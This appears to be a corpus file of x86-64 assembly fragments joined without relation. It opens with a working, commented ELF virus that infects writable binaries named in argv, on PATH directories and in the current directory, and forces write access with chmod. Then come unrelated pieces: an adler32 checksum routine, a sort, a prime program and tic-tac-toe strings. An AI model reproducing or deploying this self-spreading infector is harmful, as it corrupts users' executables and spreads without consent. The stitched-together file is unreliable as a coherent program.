langsmoke/ref_x64

3463 lines
79 KiB
Plaintext

format ELF64 executable
use64
; XXX: You have to set this to the resulting ELF file size manually.
SIZE equ 1434
; XXX: You have to set this to the position of the "palaiologos" string
; in the binary yourself.
SENTINEL_LOC equ 120
sys_execve equ 59
sys_open equ 2
sys_lseek equ 8
sys_memfd_create equ 319
sys_sendfile equ 40
sys_close equ 3
sys_exit equ 60
sys_getdents equ 78
sys_access equ 21
sys_stat equ 4
sys_chmod equ 90
entry _start
sentinel: db 'palaiologos',0
memfd_path: db '/proc/self/fd/',0,0
self: db '/proc/self/exe'
snddev: db "/dev/dsp1", 0
pathsep: db "/", 0
empty: db 0
size: dq SIZE
seed: dq 0
ldays:
dd -1, 30, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365
days:
dd -1, 30, 58, 89, 119, 150, 180, 211, 242, 272, 303, 333, 364
LCG_A equ 1103515245
LCG_B equ 12345
load_elf:
; Open ourselves.
xor esi, esi
mov edi, self
push sys_open
pop rax
syscall
; Obtain the length: seek to back.
mov r8, rax
mov rdi, r8
push sys_lseek
pop rax
syscall
; Call memfd_create, call with MFD_CLOEXEC.
mov edi, empty
push 1
pop rsi
push sys_memfd_create
pop rax
syscall
; Copy the file contents to the memfd using sendfile.
mov edx, size
mov r9, rax
mov rdi, rax
mov rsi, r8
sub r10d, SIZE
push sys_sendfile
pop rax
syscall
; Close the file descriptor we hold to our own binary.
push sys_close
pop rax
mov rdi, r8
syscall
; Bravely assume that the memfd descriptor number is a single digit.
; This might or might not work all of the times, but improving upon
; this is trivially beyond the scope of this post.
add r9d, 48
mov BYTE [memfd_path + 14], r9b
ret
; The entry point.
_start:
; Load the executable to a memfd.
call load_elf
; Load the argp for the first payload.
mov rdi, [rsp]
lea rdi, [rsp + 8 + rdi * 8 + 8]
call infect_path
; Load the argv for the second payload.
lea rbx, [rsp + 8]
call infect_argv
; Infect the current directory as the third payload.
call infect_selfdir
; Call the final birthday payload.
call birthday
; Load the path to the executable
mov rdi, memfd_path
; Prepare to call execve
; Load argc + argv
lea rsi, [rsp + 8]
; Load argp
mov rdx, [rsp]
lea rdx, [rsp + 8 + rdx * 8 + 8]
; Perform the syscall
push sys_execve
pop rax
syscall
; Exit in case execve returns due to error.
mov rdi, -1
push sys_exit
pop rax
syscall
infect_argv:
; Load two constants related to access() to
; avoid having to reload them in the loop.
; We're interested in the syscall number
; and the two arguments specifying access
; mode.
push sys_access
pop r14
push 6 ; R_OK | W_OK
pop r15
.argv_loop:
; We could use argc, but we can also assume
; that argv is terminated with a NULL.
mov rdi, qword [rbx]
test rdi, rdi
je .done
; Check if we can infect the file. Don't bother
; trying to tweak the permissions.
mov rsi, r15
mov rax, r14
syscall
; access() returned nonzero -> we can't infect
test eax, eax
jne .skip_infect
; Load the path to the executable and infect it.
mov rdi, qword [rbx]
call infect
.skip_infect:
; Skip to the next pointer in the argv array.
add rbx, 8
jmp .argv_loop
.done:
ret
infect_selfdir:
; Reserve some space on the stack.
sub rsp, 40
; Load the first buffer with PATH=.
lea rax, [rsp + 9]
mov dword [rax], 'PATH'
mov word [rax + 4], '=.'
mov byte [rax + 6], 0
; Write the buffer as the first entry and NULL-terminate the
; artificial ARGP.
lea rdi, [rsp + 16]
mov qword [rdi], rax
and qword [rdi + 8], 0
; Infect.
call infect_path
add rsp, 40
ret
; Wants to be called with argp in rdi.
infect_path:
; Reserve a (somewhat arbitrary) amount of stack space.
; It needs to hold a few path buffers (3 buffers, 4096 bytes each)
sub rsp, 12456
; Query the current time stamp counter as a source of randomness.
; rdtsc will set rdx and rax to the higher and lower bits of the time
; stamp counter, so we put them together and store them in the RNG seed
; variable.
rdtsc
shl rdx, 32
or rdx, rax
mov qword [seed], rdx
; Find "PATH=" in ARGP.
.path_find_loop:
; NULL terminates argp, check for this.
mov rax, qword [rdi]
test rax, rax
je .infect_done
; Load the first five bytes of the current string.
; If any of them is NUL, we skip to the next string.
mov cl, byte [rax]
test cl, cl
je .path_loop_skip
mov dl, byte [rax + 1]
test dl, dl
je .path_loop_skip
mov bl, byte [rax + 2]
test bl, bl
je .path_loop_skip
mov sil, byte [rax + 3]
test sil, sil
je .path_loop_skip
mov r8b, byte [rax + 4]
test r8b, r8b
je .path_loop_skip
; Check if the ASCII values are right.
cmp cl, 'P'
jne .path_loop_skip
cmp dl, 'A'
jne .path_loop_skip
cmp bl, 'T'
jne .path_loop_skip
cmp sil, 'H'
jne .path_loop_skip
cmp r8b, '='
je .path_found
.path_loop_skip:
; Go to the next pointer in the argp array.
add rdi, 8
jmp .path_find_loop
.path_found:
add rax, 5
; Select the final path buffer.
lea r12, [rsp + 4256]
; Load a few auxiliary constants.
push 3
pop rbx
push sys_open
pop r8
.path_loop:
; Check if we've hit the end of the PATH variable.
mov cl, byte [rax]
test cl, cl
je .infect_done
; Copy path until : or \0 is found.
xor r13d, r13d
.copy_path:
test cl, cl
je .attempt_scan
cmp cl, ':'
je .attempt_scan
mov byte [rsp + r13 + 160], cl
mov cl, byte [rax + r13 + 1]
inc r13
jmp .copy_path
.attempt_scan:
; NUL-terminate the path.
mov ecx, r13d
mov byte [rsp + rcx + 160], 0
xor ecx, ecx
; Check if we have to skip an extra colon.
cmp byte [rax + r13], ':'
sete cl
add rcx, rax
; Decide whether we want to infect this directory.
; Take a random number from a linear congruential generator
; and divide it by three. The modulus of zero means "no".
imul rax, qword [seed], LCG_A
add rax, LCG_B
mov qword [seed], rax
xor edx, edx
div rbx
test rdx, rdx
je .next_path
; O_RDONLY | O_DIRECTORY
mov esi, 0x10000
lea rdi, [rsp + 160]
mov rax, r8
; Preserve rcx through the system call.
mov qword [rsp], rcx
syscall
mov rcx, qword [rsp]
; Clever way to determine whether the number is negative.
bt eax, 31
jb .next_path
; Save the file descriptor.
mov qword [rsp + 8], rax
; Copy the file descriptor elsewhere, because we are going to use
; it now, and it would be a shame if a syscall clobbered it ;).
mov rbp, rax
.getdents_loop:
; Load max path size.
mov edx, 4096
; Load the directory file descriptor.
mov rdi, rbp
; Load the buffer address.
lea rsi, [rsp + 8352]
push sys_getdents
pop rax
syscall
; Jump to some common error stub that will close the
; directory descriptor in case of failure.
test eax, eax
je .getdents_err
; Preserve the amount of entries somewhere.
; eax is often trashed by system calls so we want to
; avoid it being lost.
mov r14d, eax
xor eax, eax
.dir_loop:
; Load the current entry number, directory entries buffer
; and the random seed.
mov r15d, eax
lea rbx, [rsp + r15]
add rbx, 8352
mov rax, qword [seed]
.discard_loop:
; Done processing?
cmp r14, r15
jbe .getdents_loop
; Extract the type of the directory entry.
movzx ecx, word [rbx + 16]
mov dl, byte [rbx + rcx - 1]
; Skip if not a regular file or a symlink.
and dl, -3
cmp dl, 8
jne .give_up
; Invoke the LCG again. Skip the entry upfront if dividing by
; four gives modulus 0, that is, last two binary digits of the
; number are 0.
imul rax, rax, LCG_A
add rax, LCG_B
mov qword [seed], rax
test al, 3
je .discard_loop
; OK, first nul-terminate the final buffer with the filename
; so that the `concat` function can work properly. Then append the
; directory name to that empty final buffer.
mov byte [rsp + 4256], 0
mov rdi, r12
lea rsi, [rsp + 160]
call concat
; We need to terminate the path with a slash only if it is not present
; already. Check this. Use a dumb strlen-ish function.
mov rax, r12
.len_loop:
cmp byte [rax], 0
je .len_ok
inc rax
jmp .len_loop
.len_ok:
; Slash?
cmp byte [rax - 1], '/'
je .has_slash
mov esi, pathsep
mov rdi, r12
call concat
.has_slash:
; Append the file name now.
lea rsi, [rbx + 18]
mov rdi, r12
call concat
; Check if we can access the file for reading and writing.
mov rdi, r12
push 6 ; R_OK | W_OK
pop rsi
push sys_access
pop rax
syscall
mov rcx, rax
; Decide whether we want to infect this file anyway.
; Same LCG and division stuff, except this time with the
; modulus of 10.
imul rax, qword [seed], LCG_A
add rax, LCG_B
mov qword [seed], rax
xor edx, edx
push 10
pop rsi
div rsi
; Proceed only if:
; (1) the file is not accessible
; (2) we want to infect it
; Handle a special case here: try to add an owner
; write permission bit to the file and see if this lets
; us access it... :). Might protect against some
; "overzealous" (removes write permissions on critical
; executables to avoid problems) but not "overly paranoid"
; (removes write permissions /and/ transfers ownership) users.
; In that case we can do nothing but hope that we get root somehow.
test ecx, ecx
je .normal_path
test rdx, rdx
jne .normal_path
; Stat the file.
mov rdi, r12
lea rsi, [rsp + 16]
push sys_stat
pop rax
syscall
; Set the owner write permission bit and call chmod.
mov esi, dword [rsp + 40]
or rsi, 128
mov dword [rsp + 40], esi
mov rbp, r12
push sys_chmod
pop r12
mov rax, r12
syscall
; Try to access again?
mov rdi, rbp
push 6 ; R_OK | W_OK again.
pop rsi
push sys_access
pop rax
syscall
; Still no? Restore the permissions.
test eax, eax
jne .restore_perms
; Yes => do infect.
mov rdi, rbp
call infect
.restore_perms:
mov esi, dword [rsp + 40]
and esi, -129 ; Everything except the bit 7
mov dword [rsp + 40], esi
mov rdi, rbp
mov rax, r12
syscall
; File still not accessible. Give up.
; Load the directory descriptor.
mov rax, qword [rsp + 8]
mov r12, rbp
mov rbp, rax
jmp .give_up
.normal_path:
; Check if we want to infect this file.
test rdx, rdx
jne .give_up
; Do infect.
mov rdi, r12
call infect
.give_up:
; We end up here when it's time to skip to
; the next directory entry.
movzx ecx, word [rbx + 16]
movzx eax, cx
add eax, r15d
jmp .dir_loop
.getdents_err:
; We get here when it's time to close the
; directory descriptor and move on.
mov rdi, rbp
push sys_close
pop rbx
mov rax, rbx
syscall
; Load the sys_open constant again
push sys_open
pop r8
mov rcx, qword [rsp]
.next_path:
; Go to the next path to process
add rcx, r13
mov rax, rcx
jmp .path_loop
.infect_done:
; Balance the stack and yield.
add rsp, 12456
ret
concat:
; Find the end of the first string.
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne concat
; Start appending characters in a loop.
push -1
pop rax
.do_loop:
; Nothing left in the source string.
mov cl, byte [rsi + rax + 1]
test cl, cl
je .done
mov byte [rdi + rax], cl
inc rax
jmp .do_loop
.done:
; Null-terminate the string.
mov byte [rdi + rax], 0
ret
infect:
; Preserve a bunch of registers that the caller function needs.
push r15
push r14
push rbx
; Reserve enough space for the transaction buffer.
sub rsp, 200 + SIZE
; Open the goat file w/ O_RDWR.
mov rbx, sys_open
mov rsi, rbx
mov rax, rbx
syscall
; Check if the file was opened successfully.
bt eax, 31
jb .cleanup
; Read the ELF header.
mov r8d, eax
lea rsi, [rsp - 112]
; Size of the ELF header.
mov rdx, 64
mov rdi, r8
; sys_read = 0
xor eax, eax
syscall
; Check machine type (AMD64, code 62)
cmp word [rsi + 18], 62
jne .elf_bad
; ELF class (64-bit)
cmp byte [rsp - 108], 2
jne .elf_bad
; Check the 0x7f ELF magic.
cmp byte [rsp - 109], 'F'
jne .elf_bad
cmp byte [rsp - 110], 'L'
jne .elf_bad
cmp byte [rsp - 111], 'E'
jne .elf_bad
cmp byte [rsp - 112], 0x7F
jne .elf_bad
; Rewind to the SENTINEL_LOC-th byte. We want to check
; if this ELF file was already infected.
mov r9, sys_lseek
mov rsi, SENTINEL_LOC
mov rdi, r8
xor edx, edx
mov rax, r9
syscall
; Read 12 bytes (length of "palaiologos\0")
lea rsi, [rsp - 128]
mov rdx, 12
xor eax, eax
syscall
; Check if the sentinel is present.
movq xmm0, qword [rsi]
movq rax, xmm0
; Check the first part.
mov rcx, 'palaiolo'
cmp rax, rcx
jne .elf_clean
; Check the remaining bytes: gos\0
cmp byte [rsp - 120], 'g'
jne .elf_clean
cmp byte [rsp - 119], 'o'
jne .elf_clean
cmp byte [rsp - 118], 's'
jne .elf_clean
cmp byte [rsp - 117], 0
jne .elf_clean
.elf_bad:
; Close ourselves and return. Already infected.
mov rax, 3
mov rdi, r8
syscall
jmp .cleanup
.elf_clean:
; Open self.
mov edi, self
xor esi, esi
mov rax, rbx
syscall
; Open a memfd with O_CLOEXEC.
mov r10d, eax
mov r14, 1
mov edi, empty
mov eax, sys_memfd_create
mov rsi, r14
syscall
; Copy over the viral stub from ourselves to the memfd.
mov ebx, eax
lea r15, [rsp - 48]
mov edx, SIZE
mov rdi, r10
mov rsi, r15
xor eax, eax
syscall
mov edx, SIZE
mov rdi, rbx
mov rax, r14
syscall
; Seek to the beginning of the goat file (we want the ELf header back).
mov rdi, r8
xor esi, esi
xor edx, edx
mov rax, r9
syscall
; Copy data from the goat file to the memfd in a loop.
.copy_goat_memfd:
mov edx, SIZE
mov rdi, r8
mov rsi, r15
xor eax, eax
syscall
test eax, eax
je .copy_goat_memfd_done
mov edx, eax
mov rdi, rbx
mov rsi, r15
mov rax, r14
syscall
jmp .copy_goat_memfd
; Rewind the goat file and the memfd.
.copy_goat_memfd_done:
mov rdi, rbx
xor esi, esi
xor edx, edx
mov rax, r9
syscall
mov rdi, r8
xor esi, esi
xor edx, edx
mov rax, r9
syscall
; Overwrite the goat file with the memfd contents.
lea rsi, [rsp - 48]
.copy_memfd_goat:
mov edx, SIZE
mov rdi, rbx
xor eax, eax
syscall
test eax, eax
je .copy_memfd_goat_done
mov edx, eax
mov rdi, r8
mov rax, r14
syscall
jmp .copy_memfd_goat
.copy_memfd_goat_done:
; Close goat, memfd, and self.
mov rdx, sys_close
mov rdi, rbx
mov rax, rdx
syscall
mov rdi, r8
mov rax, rdx
syscall
mov rdi, r10
mov rax, rdx
syscall
.cleanup:
; Balance the stack and quit.
add rsp, 200 + SIZE
pop rbx
pop r14
pop r15
ret
sys_time equ 201
birthday:
; Ask for the current UNIX time.
mov eax, sys_time
xor edi, edi
syscall
; Determine whether we are dealing with a
; leap year. We want to obtain the divmod of
; the UNIX time stamp and four years expressed in
; seconds (1461 * seconds in a day) = (1461 * 24 * 60 * 60)
; = 126230400
mov ecx, eax
mov esi, 126230400
xor edx, edx
div esi
imul rax, rax, -126230400
add rax, rcx
; Determine the correct year in the four year interval.
; If the quotient result of divmod is less than a year,
; just ignore the entire thing.
; 31536000 is the amount of seconds in a year.
cmp rax, 31536000
jl .year_ok
; Check if we're in the 2nd year of the 4 year interval.
; Easy to notice that this constant is the amount of seconds
; in two years.
cmp rax, 63072000
jb .sub_year
; Same logic as above except three years.
; There's a twist though: we need to account for a leap day.
; The logic for leap days is way different...
cmp rax, 94694400
jb .is_leap
; Leap year: subtract 3 years worth of seconds and add a leap day.
sub rax, 94694400
jmp .year_ok
.sub_year:
; Subtract a year's worth of seconds.
sub rax, 31536000
.year_ok:
; Calculate days since 01/01.
mov ecx, 86400
xor edx, edx
div rcx
cdqe
; Load the running total of days in each month.
mov rcx, days
.determine_month:
push -1
pop rdx
.month_loop:
; Bump up the month until exceeded days since 01/01.
lea esi, [rdx + 2]
movsxd rsi, dword [rcx + 4 * rsi]
inc edx
cmp rax, rsi
jg .month_loop
; Save the month value for later.
mov esi, edx
; Load the day of month.
movsxd rcx, dword [rcx + 4 * rsi]
sub rax, rcx
; Check if the day and month match.
cmp rax, 9
jne .heck
cmp edx, 7
jne .heck
; Pick a random number and proceed only with 10% certainty...
imul rax, qword [rip + seed], LCG_A
add rax, LCG_B
mov qword [rip + seed], rax
push 10
pop rcx
xor edx, edx
div rcx
test rdx, rdx
je proceed
.heck:
ret
.is_leap:
; Compute day of year and load the leap days LUT.
sub eax, 63072000
mov ecx, 86400
xor edx, edx
div ecx
mov rcx, ldays
jmp .determine_month
proceed:
; Open the sound device.
mov rax, 2
mov r8, 1
mov edi, snddev
mov rsi, r8
syscall
; Play the "suspense" sound.
mov edi, eax
xor ebp, ebp
; Load the place on the stack where the sample is saved.
lea rsi, [rsp - 4]
xor ebx, ebx
.susp_loop:
; 58000 ticks.
cmp ebx, 58000
je .susp_done
; Generate the sample.
mov ecx, ebx
shr ecx, 13
and cl, 27
mov eax, 322376503
shr eax, cl
and eax, 127
imul eax, ebx
mov ecx, ebx
shr ecx, 4
or ecx, ebp
or ecx, eax
; Save and write.
mov dword [rsp - 4], ecx
mov rdx, r8
mov rax, r8
syscall
; Loop again.
inc ebx
add ebp, 32
jmp .susp_loop
.susp_done:
; Purposefully waste some CPU cycles for delay.
mov eax, 100000
.busy:
sub eax, 1
jb .busydone
nop
jmp .busy
.busydone:
; Roll a dice. 33% chance of playing the "doomy" sound.
imul rax, qword [seed], LCG_A
add rax, LCG_B
mov qword [seed], rax
xor ebp, ebp
mov r9, 3
xor edx, edx
div r9
test rdx, rdx
je .doomy
; Generate the "good" samples!
mov r10d, 1
mov ebx, 8
mov ebp, 13
lea rsi, [rsp - 12]
mov r14d, 12
; The song is procedurally generated in stages three stages:
; stage 0, stage 1 and stage 2.
.good_main:
cmp r10d, 106000
je .good_done
mov eax, ebp
mov ecx, ebx
cmp r10d, 35000
jb .good0
cmp r10d, 67499
ja .good1
lea ecx, [r10 + 8 * r10]
mov eax, ebp
jmp .good0
.good1:
cmp r10d, 83999
ja .good2
lea ecx, [r10 + 8 * r10]
mov eax, r14d
jmp .good0
.good2:
lea ecx, [8*r10]
cmp r10d, 98000
mov eax, ebp
sbb eax, 0
.good0:
mov edx, r10d
shr edx, 2
imul eax, r10d
add eax, edx
mov edx, r10d
shr edx, 3
or edx, ecx
mov ecx, r10d
shr ecx, 5
or ecx, edx
or ecx, eax
; Write the sample.
mov dword [rsp - 12], ecx
mov rdx, r8
mov rax, r8
syscall
inc r10d
add ebx, 8
jmp .good_main
.good_done:
; Close file descriptor.
mov rax, r9
syscall
jmp .cleanup
.doomy:
; "Doomy" track.
lea rsi, [rsp - 8]
.doomy_loop:
cmp ebp, 250000
je .doomy_quit
mov eax, ebp
shr eax, 11
mov ecx, ebp
shr ecx, 1
or ecx, eax
imul eax, ecx, 430
; Write the sample.
mov dword [rsp - 8], eax
mov rdx, r8
mov rax, r8
syscall
add ebp, 5
jmp .doomy_loop
.doomy_quit:
; Exit with code 0.
mov rax, 60
xor edi, edi
syscall
.cleanup:
ret
format ELF64 executable
use64
entry _start
; Compute x / 0xFFF1. Consider K = (2 ^ N) / 0xFFF1, for some value of N.
; Now, to compute X / 0xFFF1 is to compute X * K, and shift it N positions to the right.
; Finally, compute `x - trunc(edx = x / 0xFFF1) * 0xFFF1`, yielding the desired remainder.
; K = 0x80078071 used throughout the program has been devised from N=47, since
; N=32+M, where M is the smallest integer where:
; 0xFFF1 <= (2^(32 + M) mod 0xFFF1) + 2^M, or alternatively
; 0xFFF1 <= 0xFFF1 * floor(2^(M+32) / 0xFFF1) + 2^M + 2^(M+32).
macro mod0xFFF1 K,N,src,reg {
mov e#reg, src
imul r#reg, K
shr r#reg, N
imul e#reg, e#reg, 0xFFF1
sub src, e#reg
}
; Compute the adler32 checksum.
; Input:
; - EDI => initial checksum value.
; - RCX => input buffer
; - RDX => input size
adler32:
; eax = high(edi), esi = low(edi)
mov eax, edi
shr eax, 16
movzx esi, di
; load the pointer to the end of the data
lea r10, [rcx + rdx]
; the data needs to be processed byte-wise until desired alignment is reached.
; if the input size is 0, terminate the algorithm as there is nothing to checksum.
; The value of the initial checksum value will be glued back together and returned.
test rdx, rdx
je .terminate
; Check if the lowest two bits of the input pointer are aligned to 16 bytes.
test cl, 15
jne .unaligned
.aligned:
; If we have reached this point, the data is aligned so we can process it using vector operations.
; Compute the new end taking on the account the possibility that some of the data might have been processed already
; and it will be processed afterwards. end -= (end - p) & 0x1F to adjust for the amount of bytes per iteration (32)
mov rdx, r10
mov r8, r10
sub rdx, rcx
and edx, 31
sub r8, rdx
; Not even one iteration of the vectorised algorithm is guaranteed. If the data isn't large enough to be processed
; in a chunk (less than 32 bytes), skip to the bytewise checksumming part.
cmp rcx, r8
je .process_remaining
; Load a few constants that will be used throughout the algorithm to save a few CPU cycles during the loop.
; The value of K for the mod0xFFF1 macro.
mov r9d, 0x80078071
; The initial vector values.
pxor xmm1, xmm1
movdqu xmm8, [.V32]
movdqu xmm7, [.V24]
movdqu xmm6, [.V16]
movdqu xmm5, [.V8]
.chunk_loop:
; Compute the chunk size. It's either the smaller of two values - the amount of data to process in total, or 4096 (chunk * 8).
mov rdx, r8
sub rdx, rcx
mov edi, 4096
cmp rdx, rdi
cmova rdx, rdi
; Clear the vector registers.
; XMM0 => sum of bytes
; XMM13 => sum of low bytes
; XMM4, XMM11, XMM10, XMM9 => 16-bit counters for byte sums. Each accumulates a
; number and the dot product will need to be computed to add the resulting
; high bytes
pxor xmm0, xmm0
pxor xmm13, xmm13
pxor xmm4, xmm4
pxor xmm11, xmm11
pxor xmm10, xmm10
pxor xmm9, xmm9
; Subtract chunk size modulo the amount of bytes per iteration (32).
mov rdi, rdx
mov rdx, rcx
and rdi, 0xFFFFFFFFFFFFFFE0
; Define the end of the chunk as the input pointer + chunk size.
add rcx, rdi
; high += low * chunk_size
imul edi, esi
add edi, eax
.inner_chunk_loop:
; Accumulate previous counters to current counters and load a new batch
; of data using aligned moves.
movdqa xmm3, [rdx]
movdqa xmm2, [rdx + 16]
paddd xmm13, xmm0
; Use `PSADBW` to add the bytes horizontally with 8 bytes per sum.
; Add the sums to XMM0.
movdqa xmm12, xmm3
psadbw xmm12, xmm1
paddd xmm12, xmm0
movdqa xmm0, xmm2
psadbw xmm0, xmm1
paddd xmm0, xmm12
; Accumulate the data into the additional counters too.
; Unpack high and low parts and add them to the respective counter vector.
movdqa xmm12, xmm3
punpckhbw xmm3, xmm1
punpcklbw xmm12, xmm1
paddw xmm11, xmm3
paddw xmm4, xmm12
movdqa xmm3, xmm2
punpckhbw xmm2, xmm1
punpcklbw xmm3, xmm1
paddw xmm9, xmm2
paddw xmm10, xmm3
; Loop until the end of the chunk has been reached.
add rdx, 32
cmp rcx, rdx
jne .inner_chunk_loop
; Finish calculating the XMM13 and XMM0 counter. Update the values of high and low (respectively) checksum elements.
pshufd xmm3, xmm0, 0x31
paddd xmm0, xmm3
pshufd xmm3, xmm0, 0x2
paddd xmm0, xmm3
movd eax, xmm0
add esi, eax
mod0xFFF1 r9, 47, esi, ax
pslld xmm13, 5
movdqa xmm2, xmm4
pmaddwd xmm2, xmm8
paddd xmm2, xmm13
pmaddwd xmm11, xmm7
paddd xmm2, xmm11
pmaddwd xmm10, xmm6
paddd xmm2, xmm10
pmaddwd xmm9, xmm5
paddd xmm2, xmm9
pshufd xmm0, xmm2, 0x31
paddd xmm0, xmm2
pshufd xmm2, xmm0, 0x2
paddd xmm0, xmm2
movd eax, xmm0
add eax, edi
mod0xFFF1 r9, 47, eax, dx
; Loop while there is data left.
cmp r8, rcx
jne .chunk_loop
.process_remaining:
; Check if the input pointer has reached the end already.
cmp r10, rcx
je .terminate
.process_bytewise:
; The contents of this loop are mirrored in the bytewise checksumming part to get a chunk of aligned data.
movzx edx, BYTE [rcx]
inc rcx
add esi, edx
add eax, esi
cmp r10, rcx
jne .process_bytewise
; The process of computing the remainder of the high and low parts by 0xFFF1. Explanation below.
mov edi, 0x80078071
mod0xFFF1 rdi, 47, esi, dx
mod0xFFF1 rdi, 47, eax, dx
.terminate:
; Glue together eax and esi (respectively higher and lower bits of the resulting checksum) and yield the result.
sal eax, 16
or eax, esi
ret
.recheck_alignment:
; Check lowest two bits of the input pointer to determine whether it's aligned to 16 bits.
test cl, 15
je .now_aligned
.unaligned:
; Process unaligned data. Perform byte-wise checksumming until alignment is reached.
; low += *input++.
movzx edx, BYTE [rcx]
inc rcx
add esi, edx
; high += low
add eax, esi
cmp r10, rcx
jne .recheck_alignment
.now_aligned:
; Compute the remainder of the high and low parts of the checksum when dividing by 0xFFF1.
mov edi, 0x80078071
mod0xFFF1 rdi, 47, esi, dx
mod0xFFF1 rdi, 47, eax, dx
; The data is aligned now.
jmp .aligned
.V32: dw 32, 31, 30, 29, 28, 27, 26, 25
.V24: dw 24, 23, 22, 21, 20, 19, 18, 17
.V16: dw 16, 15, 14, 13, 12, 11, 10, 9
.V8: dw 8, 7, 6, 5, 4, 3, 2, 1
; stat structure buffer.
sb: times 144 db 0
; System interface on x64 Linux works as follows:
; eax - syscall_number
; Parameters:
; 1st 2nd 3rd 4th 5th 6th
; rdi rsi rdx r10 r8 r9
; The system call numbers (eax values) used by the driver code.
open equ 2
mmap equ 9
fstat equ 5
exit equ 60
write equ 1
; The entry point to test the checksum algorithm.
; The application takes a single CLI argument with the file to checksum.
_start:
; Section 3.4.1 of the ABI document (Initial Stack and Register State) contains figure 3.9,
; which is a table describing initial stack layout. According to the the layout, the top of the stack
; is the argument count, followed by pointers to argument strings. As I am not interested in the argument
; count and the first argument, I pop them off. The remaining element is the file name and it's saved in
; rdi, which will be used for a syscall soon.
pop rdi
pop rdi
pop rdi
; open($rdi, O_RDWR); O_RDWR = open = 2
mov eax, open
mov esi, eax
syscall
; Preserve the file descriptor over the fstat call.
push rax
; fstat($eax, sb) to query the file size
mov esi, sb
mov rdi, rax
mov eax, fstat
syscall
; mmap(0, *(uint64_t *) sb + 48, PROT_READ = 1, MAP_SHARED = 1, fd, 0)
; Note: Offset 48 into the stat structure is the file size, but since FASM does not supply
; POSIX headers, I had to perform this calculation myself. Check `man 2 lstat`.
pop r8
xor r9d, r9d
xor edi, edi
mov eax, mmap
mov edx, 1
mov r10d, edx
mov rsi, [sb + 48]
syscall
; Compute the adler32 checksum.
mov rdx, rsi
mov rcx, rax
xor eax, eax
mov edi, 1
call adler32
; Stringify the checksum to decimal.
; XXX: This code could be modified to display the checksum in hexadecimal or as-is, as binary data.
; Reserve a 16 byte buffer on the stack.
mov rbp, rsp
sub rbp, 16
mov edi, 10
mov esi, eax
mov rcx, 14
.stringify_loop:
; Load the input number to eax.
mov eax, esi
xor edx, edx
; eax = eax / edi
; edx = eax % edi
div edi
; Add 48 (ASCII 0) to turn the remainder into a digit.
add edx, 48
; Store the digit in the output buffer.
mov BYTE [rbp + rcx], dl
; Preserve the previous value and replace it with the new one.
mov edx, esi
mov esi, eax
; Preserve the counter and decrement it.
mov rax, rcx
dec rcx
; Loop if the previous value is > 9 (=> if there are more digits left).
cmp edx, 9
ja .stringify_loop
; Otherwise: print the value.
; write(1, buf + rax, 16 - rax)
lea rsi, [rbp + rax]
xor edi, edi
inc edi
mov edx, 16
sub edx, eax
mov eax, write
syscall
; Quit the program. `ret` obviously won't work.
mov eax, exit
syscall
main:
push RBP
mov RAX, 0
mov RCX, 0
mov RBX, 0
INPUT_ARRAY:
cmp RCX, 5
jz DONE
mov [cnt], RCX
mov RAX, 0
mov RDI, fmt_in
mov RSI, a
call scanf
mov RAX, [a]
mov RCX, [cnt]
mov [array+RCX*8], RAX
mov [array2+RCX*8], RAX
add RBX, [a]
inc RCX
jmp INPUT_ARRAY
DONE:
mov RAX, 0
mov RCX, 0
mov RBX, 0
OUTER_LOOP:
cmp RCX, 5
jge END_LOOP
mov [cnt], RCX
mov RAX, [array+RCX*8]
INNER_LOOP:
inc RCX
cmp RCX, 5
jz OK
cmp RAX, [array+RCX*8]
jle INNER_LOOP
xchg RAX, [array+RCX*8]
jmp INNER_LOOP
OK:
mov RCX, [cnt]
mov [array+RCX*8], RAX
inc RCX
jmp OUTER_LOOP
END_LOOP:
mov RAX, 0
mov RBX, 0
mov RCX, 0
mov RDI, fmt_out
call printf
mov RAX, 0
mov RBX, 0
mov RCX, 0
PRINT_ARRAY:
cmp RCX, 5
jz END
mov RAX, [array+RCX*8]
inc RCX
mov [cnt], RCX
mov RDI, fmt
mov RSI, RAX
call printf
mov RCX, [cnt]
jmp PRINT_ARRAY
END:
mov RAX, 0
pop RBP
ret
main:
push RBP
mov RAX, 0
mov RSI, a
mov RDI, fmt_in
call scanf
mov RAX, 0
mov RSI, b
mov RDI, fmt_in
call scanf
OUTER_LOOP:
mov RCX, [a]
cmp RCX, [b]
jg END_OUTER_LOOP
mov RAX, 0
mov RCX, 2
mov RBX, 0
mov RAX , [a]
cmp RAX, 2
je PRIME
cmp RAX, 1
je PRIME
WHILE:
mov RAX, [a]
mov RDX, 0
mov RBX, RCX
idiv RBX
cmp RDX, 0
jz NOT_PRIME
inc RCX
cmp RCX, [a]
jz PRIME
jmp WHILE
PRIME:
mov RCX, [size]
mov RAX, [a]
mov [array + RCX*8], RAX
inc RCX
mov [size], RCX
mov RCX, [a]
inc RCX
mov [a], RCX
jmp OUTER_LOOP
NOT_PRIME:
mov RCX, [a]
inc RCX
mov [a], RCX
jmp OUTER_LOOP
END_OUTER_LOOP:
mov RAX, 0
mov RBX, 0
mov RCX, 0
mov RDI, fmt_out2
call printf
mov RAX, 0
mov RBX, 0
mov RCX, 0
PRINT_ARRAY:
cmp RCX, [size]
jz LAST
test RCX, 1
jz INC_ODD
jmp INC_EVEN
DONE:
mov RAX, [array+RCX*8]
inc RCX
mov [cnt], RCX
mov RDI, fmt_out
mov RSI, RAX
call printf
mov RDI, spc
call printf
mov RCX, [cnt]
jmp PRINT_ARRAY
INC_ODD:
mov RAX, [array+RCX*8]
add RAX, [odd_pos]
mov [odd_pos], RAX
jmp DONE
INC_EVEN:
mov RAX, [array+RCX*8]
add RAX, [even_pos]
mov [even_pos], RAX
jmp DONE
LAST:
mov RDI, new_line
call printf
mov RAX, [even_pos]
sub RAX, [odd_pos]
mov RDI, fmt_out3
mov RSI, RAX
call printf
mov RDI, new_line
call printf
mov RAX, 0
mov RAX, 0
pop RBP
ret
section .bss
key resb 1
garbage resb 1 ; trash from stdin (\n)
section .data
new_line db 10
nl_size equ $-new_line
game_draw db "_|_|_", 10
db "_|_|_", 10
db "_|_|_", 10, 0
gd_size equ $-game_draw
win_flag db 0
player db "0", 0
p_size equ $-player
game_over_message db "FIM DE JOGO AMIGOS", 10, 0
gom_size equ $-game_over_message
game_start_message db "JOGO DA VELHA"
gsm_size equ $-game_start_message
player_message db "JOGADOR ", 0
pm_size equ $-player_message
win_message db " GANHOU!", 0
wm_size equ $-win_message
type_message db "ENTRE COM UMA POSICAO NO TABULEIRO: ", 0
tm_size equ $-type_message
